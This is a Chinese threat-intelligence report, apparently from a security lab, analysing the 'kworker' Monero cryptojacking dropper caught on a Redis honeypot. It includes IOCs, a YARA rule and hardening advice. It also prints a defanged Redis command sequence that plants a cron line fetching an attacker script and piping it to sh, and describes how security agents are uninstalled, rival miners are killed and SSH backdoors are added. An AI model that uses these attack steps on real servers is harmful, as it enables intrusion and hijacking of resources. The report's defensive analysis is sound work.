本页为译文。英文版本为权威文本。 阅读英文版

malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm

Kworker:自带卸载程序的挖矿木马

Kinryū Labs 捕获到一个 8220 血统的挖矿劫持者,在大约五秒内把一个开放且无密码的 Redis 端口变成了 root shell。投放器是一个名为 kworker 的 636 行 shell 脚本,它用厂商自己的工具卸载阿里云和腾讯云的主机安全代理,花 200 行清除竞争对手的矿工,给 SSH 留后门,用伪造的 ps、top 和 pstree 隐藏一个 XMRig 门罗币矿工,并试图继续横向蠕动。

作者 Davis Zheng·

TLP:CLEAR。已批准公开发布。由 Kinryū Labs 蜜罐传感器网络捕获。下文指标均已去毒化处理。

执行摘要

  • 约 5 秒从开放的 Redis 端口到四个 root cron 后门
  • 636行 bash,一套完整的主机接管工具包
  • 2个以 base64 编码内嵌其中的厂商卸载程序
  • 80+个被列入清除名单的竞争矿工

UTC 时间零点零六分,有人向我们其中一台蜜罐的 Redis 端口发起连接,执行了一条 INFO 看清楚对面是什么,然后断开。两秒后它回来并开始干活。到它断开连接为止,前后总共五秒,它已经用四种不同方式改写了服务器的 cron 表,并且每一条都指向同一个文件:一个名为 kworker 的 shell 脚本。

我们从未让它运行。脚本没有执行过;我们手上的是脚本本身和攻击者的命令序列。所以留给我们的就是完整的脚本,全部 636 行,以及攻击者的完整命令序列。两者合起来读,构成了 2026 年大路货 Linux 挖矿劫持所处位置的一份干净切面,而 kworker 是个不错的标本,因为这个门类历来发明过的手法它几乎都用上了。它还板着脸做了一件事:用杀毒厂商自己的卸载程序把你的杀毒软件卸掉。

关键发现
  • 属于 8220 Gang / kworkerds 血统的大路货挖矿劫持,机会主义、无特定目标(中等置信度)。 Redis 投递方式、被改名的下载工具、/etc/javae 锁文件,以及那份庞大的清除名单,都是这个家族的标志。我们维持在中等而不更高,是因为这属于被广泛分叉的代码,各团伙互相传递和转售,所以这个名字指向的是一条血统,而不是某一个作者。
  • 目标是挖门罗币(高置信度)。 脚本的全部用途就是在为 javae 启用大页之后拉取并启动它,那是一个 XMRig 构建。其余一切的存在,都是为了清场和守住这台主机。
  • 这是成熟的、被反复使用的软件,不是谁的周末项目(高置信度)。 入侵本身写下的 cron 行调用了 cd1 和 wd1,而这两个工具只有在 kworker 安装之后才存在。这套工具包已经预设了自身的存在,这是流通了一段时间的代码才有的特征。
  • 钱包的缺失是刻意的(高置信度)。 脚本里没有门罗币地址,也没有矿池;两者都在矿工二进制文件里,而我们没有拿到它。唯一能把这伙人的各次活动串起来的细节,恰好就是他们不放进脚本里的那个,和我们在 RedTail 上撞的是同一堵墙。

先 FLUSHALL,再用四种方式写进 cron

无密码暴露在互联网上的 Redis,多年来一直是一行命令就能拿到的 root shell,这里用的就是那套老可靠的手法。设置一个数据库键,其值是一条 cron 任务。让 Redis 把数据库保存到 cron 目录里。调用 SAVE。Redis 把数据库写到磁盘,连同你伪造的 cron 任务一起,一分钟后 cron 就以 root 身份运行它。我们这位访客先给服务器做了指纹识别,确认能写文件,关掉了保存失败时的保护开关,然后跑完了这套把戏。

# what the visitor sent to Redis (abbreviated, defanged)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE

整个入侵过程只花了几秒钟:

  • 00:06:00 UTC连接,发送一条 INFO 给服务器做指纹识别,断开。
  • +2 秒重新连接。设置四个键,每个键存一行 cron。CONFIG SET dir 指向 cron 目录,CONFIG SET dbfilename 指向目标 cron 文件,关闭 stop-writes-on-bgsave-error,然后 SAVE。
  • 总计 +5 秒断开。四个 cron 后门已埋下,全部指向 `kworker`。
  • +1 分钟在真实主机上,cron 会以 root 身份运行埋下的那行命令并拉取 kworker。

值得放慢速度细看的是那份冗余。它写的不是一个 cron 任务;它把同一条指令写进了四个位置:/var/spool/cron/root、/var/spool/cron/crontabs、/etc/cron.d/javae 和 /etc/crontab,同时覆盖了 Red Hat 和 Debian 两种布局以及两种 cron 语法。每一行用不同的工具拉取 kworker,分别是 cd1、wget、curl、wd1,并按两分钟、三分钟、四分钟、五分钟的错开周期执行。其中两个名字根本不是真实存在的程序。cd1 和 wd1 是 kworker 安装之后把 curl 和 wget 改成的名字。入侵动作已经预设了它即将下载的那个脚本。整套工具包内部自洽,这就是你判断它是成熟的、被反复使用的软件而不是谁的周末项目的依据。

自带卸载程序

一拿到 root,kworker 就开始拆房子。防火墙被清空,ufw 关闭,SELinux 降到 permissive 随后在配置文件里禁用,AppArmor 停止,内核的 NMI watchdog 被关掉。这一条有意义,因为矿工会把 CPU 压在百分之百持续数周,而 watchdog 是为数不多可能察觉到的东西之一。/var/log/syslog 被直接删除。

接着它开始寻找云主机安全代理,脚本从这里开始就不普通了。国内几家大型云厂商会在自家虚拟机上预装主机代理:阿里云的安骑士,进程名是 AliYunDun;腾讯云的云镜;华为云的 HostGuard。kworker 逐一检查。发现阿里云那个时,它不只是杀掉进程。它运行的是阿里云官方的卸载程序,而且为了确保在一台回不了阿里云的机器上也能奏效,它把阿里云的两个卸载脚本以 base64 编码内嵌在自己体内。我们把两个都解码了。是正品,连 kprobe 跟踪的拆除逻辑都一应俱全。

它把你的终端防护干净利落地卸掉,按厂商设计的方式,还把日志收拾整齐。

这不是临场发挥。有人坐在一台真实的阿里云机器前,把卸载程序扒下来,然后内置了进去。

一场用 bash 写成的地盘之争

如果你从没读过这类脚本,最让人意外的是其中有多大比例是冲着其他犯罪分子去的。矿工真正的敌人是下一个想租用同一颗 CPU 的矿工,而不是系统管理员。kworker 花了大约两百行追杀同行,并且用它能抓到的每一种把柄去杀。

  • 按进程名,取自一份超过一百项的阻断列表:xmrig、kinsing、kdevtmpfsi、watchdogs 和 watchbog 家族、ddg、sustes,以及它自己名字所源出的更早的 kworkerds。
  • 按端口,也就是挖矿池和 IRC 机器人常驻的那些。
  • 按硬编码的 IP 地址。
  • 按 CPU,这一招最粗暴: 任何以它不认识的名字占用超过 40% 处理器的进程都会被杀掉,逻辑是一个吃 CPU 的陌生进程按定义就是竞争矿工。

它从 /tmp 和 /dev/shm 删掉对方的文件,清除对方的 cron 任务,移除其中一些会安装的 preload rootkit,还会伸手进 Docker 杀掉并删除已知的挖矿镜像。这和我们在 RedTail 的 clean 脚本 以及 Rootpacket 的 killservice.sh 中记录过的是同一场圈地运动;这些团伙都在争抢同一批配置错误的机器,而且开场动作都是清场。

它还专门而且反复地对 TeamTNT 不客气,把 TeamTNT 做的 curl 和 wget 改名还原回去,并清空其目录。杀掉 Kinsing 时,它用 fuckyou 这个词覆写文件并将其锁定,让 Kinsing 无法把自己装回去。这里没有道义,只有圈地,而 kworker 下手比大多数同行更狠。

把名单仔细读一遍,它就变成了一份竞争对手藏身方式的目录。一批目标伪装成内核线程,kacpi_svc、kswap_svc、kthreadd_svc、ksoftirqd_svc;另一批伪装成系统守护进程,polkitd、acpid、dbus-daemon--system,以及把本该是 L 的位置换成大写 I 的 systemctI。kworker 追杀的正是它的对手所穿的那些伪装,而这些伪装也正是它自己几行之后把 javae 藏进 systemd-network、irqbalanced 之类名字里时所采用的。这场争斗中人人都扮成无聊的系统噪音,人人都背熟了彼此的戏服。

有几个目标根本不是名字。其中一个是 L2Jpbi9iYXN,这是一条 /bin/bash 命令 base64 编码后的开头。kworker 在进程表里 grep 这个编码前缀,靠命令行里那段 base64 数据块揪出对手的加载器。

整份名单相当长,有一百多种指认一个你想弄死的进程的方式,光是为了感受这场宿怨的质地,也值得浏览一遍:

完整清除名单,摘自捕获到的脚本

摘自 kill_miner_proc、kill_sus_proc 和 Docker 清扫部分。这里列出的都是 kworker 追杀的目标,不是它自己的基础设施。IP 已去毒化处理。

它会杀掉占用这些端口的任何进程(挖矿池、IRC 机器人、RAT、备用 SSH 和 Telnet):23、143、2222、3333、3347、3389、5555、6665、6666、6667、7777、8444、10008、13531。

可辨识的矿工和僵尸网络家族: xmrig、xmrig-cpu、xmrig-notls、xmr-stak、mstxmr、cnrig、minerd、minergate、cryptonight、crypto-pool、moneroocean、kinsing、kdevtmpfsi、kworkerds、kworker34、watchdogs、watchd0g、watchbog、ddg、ddg.2011、sustes、sustse、sustse3、kthrotlds、ksoftirqds、tntrecht(TeamTNT)、nanoWatch、sourplum、disk_genius、biosetjenkins、nullcrew。

伪装成内核线程的对手: kacpi_svc、kswap_svc、kauditd_svc、kpsmoused_svc、kseriod_svc、kthreadd_svc、ksoftirqd_svc、kintegrityd_svc、kblockd_svc、native_svc。

伪装成系统守护进程的对手: polkitd、acpid、dbus-daemon--system、irqbalance、irqbalanc1、crond64、nginxk、vmlinuz、systemctI(大写 i,不是 systemctl)、systemten、systemxlv、svcupdate、netdns、netns、redis2、rsync、httpgd、haveged、voltuned、nqscheduler。

其他具名载荷、脚本和各次活动的标记: apaceha、apachiii、mixnerdx、mixtape、performedl、conns、mgwsl、pythno、jweri、lx26、i586、gddr、askdljlqw、ysaydh、bonns、donns、kxjd、nopxi、deamon、zigw、devtool、devtools、suppoie、exin、xr、jawa、ynn、servim、darwin、sysstats、Loopback、XJnRj、NXLAi、BI5zj、icb5o、wnTKYg、2t3ik、qW3xT.2、hahwNEdB、CnzFVPLF、CvKzzZLs、OIcJi1m、IOFoqIgyC0zmf2UR、65ccEJ7、jmxx、2Ne80nA、C4iLM4L、Guard.sh、Duck.sh、bonn.sh、conn.sh、kw.sh、pro.sh、mr.sh、2mr.sh、cr5.sh、he.sh、miner.sh、l.sh、z3.sh、lower.sh、ndt.sh、logo9.jpg、oracle.jpg、init10.cfg、init12.cfg、j2.conf、zer0day.ru、gitee.com。

混淆过的启动器和投放的配置文件: ./ppp、./vsp、./jvs、./pvv、./vpp、./pces、./rspce、./jiba、./haveged、./watchbog、./servceaess 及其各种拼写变体、mwyumwdbpq.conf、honvbsasbf.conf、mqdsflm.cf、/wl.conf、wc.confz,外加 base64 加载器标记 L2Jpbi9iYXN(一条 /bin/bas... 单行命令的开头)。

它见即射杀的竞争对手矿池和 C2 IP: 45.76.122[.]92、51.38.191[.]178、51.15.56[.]161、104.248.4[.]162、89.35.39[.]78、107.174.47[.]156、107.174.47[.]181、83.220.169[.]247、51.38.203[.]146、144.217.45[.]45、176.31.6[.]16、46.243.253[.]15、200.68.17[.]196、188.209.49[.]54、181.214.87[.]241、121.42.151[.]137。

它会杀掉并删除的 Docker 镜像和容器: 名为 pocosow、gakeaws、azulu、auto、xmr、mine、slowhttp、bash.shell 的容器;镜像引用 pocosow、gakeaws、buster-slim、hello-、azulu、registry、xmr、monero、mine、slowhttp。

还有那招粗暴的: 任何 CPU 占用超过 40% 且不匹配 javae 的进程都会被杀掉,任何占用超过 10% 且名字看起来像带方括号内核线程的进程也一样,还有任何从 /tmp 里运行的东西,以及任何名字长得可疑的进程。

现在你看不见它了

清完场之后,它把自己这名选手藏起来。它把 ps、top 和 pstree 换成两行的包装脚本,由这些脚本调用真正的二进制文件,并悄悄过滤掉任何提及矿工(javae)或它自带的扫描器(pnscan)的行,然后把这些伪造文件的时间戳回调到 2016 年,免得看起来是新的。在被感染的机器上运行 ps,矿工根本不会出现在列表里。

矿工的命名本来就是为了消失在进程表里:javae 旁边还摆着以 systemd-network、irqbalanced、kswaped 之类名字埋下的锁文件,每一个都选得像是无聊的系统噪音。

一把钥匙,和通往邻居的路

还有两步动作完成了这次接管。

它把操作者的 SSH 公钥写进 root 的 authorized_keys,注释就是 uc1,并把该文件设为不可修改,所以光是发现它还不够;你得先清掉 immutable 位才能删掉它。这是一条比矿工被清理更长寿的人工访问通道。

然后它试图扩散。它读取 root 的 known_hosts,也就是这台机器登录过的所有机器的清单,并用磁盘上现成的密钥尝试 SSH 连接每一台,在任何放它进去的机器上执行一条单行命令,从备用地址拉取 kworker,把整个故事重演一遍。它不是一条快速的蠕虫,而且依赖于无密码密钥被随手留在机器上,但在那类通常确实如此的机群里,这就足够了。

矿工,以及我们没拿到的钱包

尽管有这么多机关,真正赚钱的部分很无聊:第二个文件 javae,一个挖门罗币的 XMRig 构建。kworker 打开大页(vm.nr_hugepages 设为 128,这是 XMRig 的标准提速手段),把 javae 放进 /etc,然后运行它。

这份报告的缺口就在这里。我们没有 javae,也没有钱包。脚本里没有门罗币地址,也没有矿池;这些都编进了矿工二进制文件,而该文件是在运行时拉取的,C2 也没有把它提供给任何查看过这个样本的公开沙箱,所以被动分析没有东西可拆。任何单独分析 kworker 的人都会撞上同一堵墙。钱包是唯一能把这伙人的各次活动串起来的东西,而这恰恰就是他们不放进脚本里的东西。

托管在 Cloudflare 上,是有意为之

脚本和矿工都来自 download.logltech[.]workers[.]dev,一个 Cloudflare Workers 地址,这是刻意的选择。Workers 免费,默认走 HTTPS,借用了 Cloudflare 的信誉从而能绕过域名阻断列表,还隐藏了操作者实际控制的源站。每一个载荷 URL 都解析到 Cloudflare;操作者真正的源站从未暴露。

蠕虫使用的备用通道是 tutorial.clashverge[.]space,注册于二月下旬。脚本里硬编码的其他每一个 IP 地址都属于它想弄死的竞争对手,分散在 Vultr、OVH 和 DigitalOcean 的机器上,还有一台位于杭州的阿里云主机,跟这个操作者完全无关。把这些硬编码 IP 当成一份目标清单来读,而不是基础设施。

这是谁的?

那就谨慎点说。这是一种大路货挖矿劫持,血统通常被归到 8220 Gang 或 kworkerds 名下。特征一应俱全:Redis cron 注入的投递方式、curl 改名为 cd1、/etc/javae 锁文件、pnscan 扩散器、那份庞大无比的清除名单。杀毒引擎在命名上无法达成一致,而这本身就说明了问题。ClamAV 叫它 Rocke,Rising 标为 TeamTNT,其余的就只说 CoinMiner。这些脚本在六七个团伙之间被复制、合并、转售,而 kworker 杀的对象里就有好几个与它同源的家族。

经验法则

把家族当成一个街区来看待,而不是一枚指纹。

对国内云主机代理的针对性,以及 VirusTotal 关联到同一样本的一个 Windows PowerShell 兄弟版本,把图景补得更完整,但稳妥的说法是那个保守的说法。被广泛分叉、以获利为动机、非定向、也不新鲜。中等置信度,而且安于此。

失陷指标

网络

指标说明
download.logltech[.]workers[.]devC2(主用),Cloudflare Workers。提供 /up/down/api/{kworker, javae, cb.txt}
tutorial.clashverge[.]spaceC2(备用),由蠕虫使用。注册于 2026 年 2 月 27 日
170.9.225[.]197攻击 Redis 蜜罐的来源 IP
*.workers.dev 主机 + /up/down/api/ 下的 GET值得在流量侧重点排查的载荷拉取模式

文件(SHA-256 / MD5)

文件SHA-256MD5
kworker(投放器)7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30501ec2da3039ebe4ca379f663232176a
javae(XMRig 矿工)未获取,预期 5,685,096 字节

SSH 后门密钥: 注释为 uc1,公钥指纹 SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY。在全网资产的 authorized_keys 中排查它。

主机痕迹

路径说明
/etc/kworker、/etc/javae、/etc/cron.d/javae、/tmp/{kworker,javae}投放的文件
/usr/bin/cd1(原 curl)、/usr/bin/wd1(原 wget)被改名的下载工具
/bin/ps.original、/bin/top.original、/bin/pstree.original被藏在木马化包装脚本背后的真实二进制文件
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network}不可修改的单字节名称锁文件
vm.nr_hugepages = 128为 XMRig 启用的大页

行为

  • 实际上是一个通过 grep -v 过滤的 shell 脚本的 ps、top 或 pstree。
  • 一个不是你写的、以注释 uc1 结尾的 authorized_keys。
  • 运行 sh /etc/kworker 或 sh /tmp/kworker 的 cron 任务,以及一个本不该存在的 /etc/cron.d/javae。
  • 位于 /usr/bin/kswaped 及其同类路径下的不可修改的单字节文件。
  • 被改名成 cd1 和 wd1 的 curl 和 wget。
  • 被悄悄设成 128 的 vm.nr_hugepages。

检测

主机侧的破绽一旦你知道了就很显眼,上面都已列出。在流量侧,任何解析 *.workers.dev 主机并请求 /up/down/api/ 下路径的行为都值得重点排查。下面是一条命中稳定字符串的 YARA 规则。它有意携带真实字符串,用于检测。

rule kworker_cryptojacker_sh
{
    meta:
        description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "7420e819...776e30"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $c2_1  = "download.logltech.workers.dev" ascii
        $c2_2  = "tutorial.clashverge.space" ascii
        $api   = "/up/down/api/kworker" ascii
        $lock  = "/etc/javae" ascii
        $miner = "miner_size=\"5685096\"" ascii
        $ren1  = "mv /usr/bin/curl /usr/bin/cd1" ascii
        $ren2  = "mv /usr/bin/wget /usr/bin/wd1" ascii
        $bin1  = "/usr/bin/pamdicks" ascii
        $bin2  = "/usr/bin/kswaped" ascii
        $bin3  = "/usr/bin/rctlcli" ascii
        $fn1   = "kill_miner_proc" ascii
        $fn2   = "download_file_if_needed" ascii
        $hide  = "javae\\|pnscan" ascii
        $ssh   = "9p8zIVKLUHMUNC9mKqPljzxH" ascii  // fragment of the uc1 key

    condition:
        filesize < 256KB and (
            $ssh or any of ($c2_1, $c2_2) or
            ($api and $lock) or
            ($miner and 1 of ($ren1, $ren2)) or
            (2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
        )
}

这应该改变什么

这里面没有任何高深的东西,而这正是教训所在。kworker 能进来,是因为一个 Redis 端口开着且没有密码,一个 2018 年的错误在 2026 年依然有回报。之后的一切,卸载 EDR、rootkit、蠕虫,之所以有意义,只是因为前门没锁。

  • 不要把 Redis 或任何数据存储暴露到互联网上,并且要求认证。 把一个开放的服务当成整台主机的失陷来处理,而不是单个服务的失陷。
  • 像看待生产代码一样盯住 cron 和 authorized_keys, 因为对攻击者来说它们正是生产代码。
  • 不要把机器上的云主机代理当成安全网。 kworker 的第一反应就是走上前去,客客气气地用厂商自己的工具把它卸掉。

MITRE ATT&CK 映射

战术技术
初始访问T1190 Exploit Public-Facing Application(Redis)
执行T1059.004 Unix Shell
持久化T1053.003 Cron;T1098.004 SSH Authorized Keys
防御规避T1562.001 Impair Defenses: Disable or Modify Tools(卸载云主机代理和 EDR);T1562.004 Disable or Modify System Firewall;T1070.002 Clear Linux or Mac System Logs;T1014 Rootkit(木马化的 ps/top/pstree);T1036.005 Masquerading: Match Legitimate Name;T1222.002 Linux File and Directory Permissions Modification(chattr +i);T1070.006 Timestomp(时间戳回调的伪造文件)
发现T1057 Process Discovery(追杀同行);T1518.001 Security Software Discovery(云主机代理);T1046 Network Service Scanning(pnscan)
横向移动T1021.004 Remote Services: SSH;T1570 Lateral Tool Transfer
命令与控制T1071.001 Web Protocols;T1102 Web Service(Cloudflare Workers);T1105 Ingress Tool Transfer
影响T1496 Resource Hijacking(门罗币挖矿)

方法与分析人员说明

  • 分析为静态、被动方式。投放器从未被执行,也从未接触过任何攻击者基础设施。结论来自完整通读捕获到的 636 行脚本、解码内嵌的 base64 卸载程序,以及复查记录下来的 Redis 会话。
  • 上文指标已去毒化处理。YARA 规则按设计包含真实字符串,用于检测。
  • 我们没有第二阶段的矿工(javae),也没有门罗币钱包。脚本两者都不含;两者都在矿工二进制文件里,该文件在运行时拉取,而 C2 并未将其提供给公开沙箱。要拿到钱包需要做一次带流量抓包的实机引爆,我们没有执行。
  • 样本(投放器和解码后的卸载程序)可应请求提供给其他研究人员和防守方。请发邮件至 contact@kinryu.sh,简要说明你是谁以及用途。
Sample
kworker · 7420e819e6cf6d76…
How to cite
Kinryū Labs (2026). Kworker:自带卸载程序的挖矿木马. https://kinryu.sh/zh/reports/kworker-redis-cryptojacking-dropper/